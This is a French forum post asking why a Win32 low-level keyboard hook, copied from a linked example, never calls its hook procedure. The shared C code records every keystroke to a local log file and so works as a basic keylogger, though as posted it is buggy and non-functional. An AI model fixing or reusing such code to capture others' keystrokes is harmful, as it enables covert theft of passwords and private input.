Je voudrais essayer ce code
http://www.cppfrance.com/codes/HOOK-GLOBAL-SANS-DLL_27169.aspx
en mode fenêtre afin de mieux le comprendre(et surtout parce que je ne connais pas encore la programmation des fenêtres :-p
mais ça ne marche pas !j'ai essayé par ex ça:
#define _WIN32_WINNT 0x0400
#include <windows.h>
HHOOK hHook; // Handle du hook global
HINSTANCE hExe; // Handle de notre exécutable
// Fonction de gestion du hook
__declspec(dllexport) LRESULT CALLBACK HookProc ( int nCode, WPARAM wParam, LPARAM lParam)
{
if ((nCode == HC_ACTION) && (wParam == WM_KEYDOWN))
{
// Structure de récupération d'infos sur la touche tapée
KBDLLHOOKSTRUCT hookstruct = *((KBDLLHOOKSTRUCT*)lParam);
// Obtenir la lettre de la touche tapée
char lettre=(char)hookstruct.vkCode;
// Compteur des octets écrits pour WriteFile()
DWORD Ecrits;
// Ouverture du fichier log. Le créer s'il n'existe pas.
HANDLE hFichier = CreateFile("C:\\FichierLog.txt", GENERIC_WRITE, FILE_SHARE_READ, NULL,OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
// Si le handle retourné est valide alors
if( hFichier != INVALID_HANDLE_VALUE)
{
// Mettre le pointeur du fichier à la fin
SetFilePointer(hFichier,NULL,NULL,FILE_END);
// Ecrire la lettre dans le fihier log
WriteFile(hFichier,&lettre,1,&Ecrits,NULL);
// Fermer le fichier
CloseHandle(hFichier);
}
}
// Renvoi des messages au sytème pour permettre d'autres hooks
return CallNextHookEx(hHook, nCode, wParam, lParam);
}
int APIENTRY WinMain( HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmd,int nShow )
{
hExe = GetModuleHandle(NULL);
hHook = SetWindowsHookEx( WH_KEYBOARD_LL, (HOOKPROC)
hookProc, hExe, NULL);
system("pause");
UnhookWindowsHookEx(hHook);
}
D'après mes essais je récupère bien le handle,le hook se fait aussi,par conter c'est la fonction du hook qui ne se fait pas(tester avec un messagebox)
J'ai essayé sur plusieurs codes,avec "int main(...)" pour la fenêtre principale
D'aprés d'autres posts j'ai aussi jetté un oeil avec depends.exe mais celui ci ne me retourne qu'un avertissement(idem que pour le code originale d'ailleurs)
Donc pourquoi ça marche pas?et surtout quelle difference fait que le code initale marche?car si j'ai bien compris il suffit de récupérer le handle et de mettre la fonction en export.....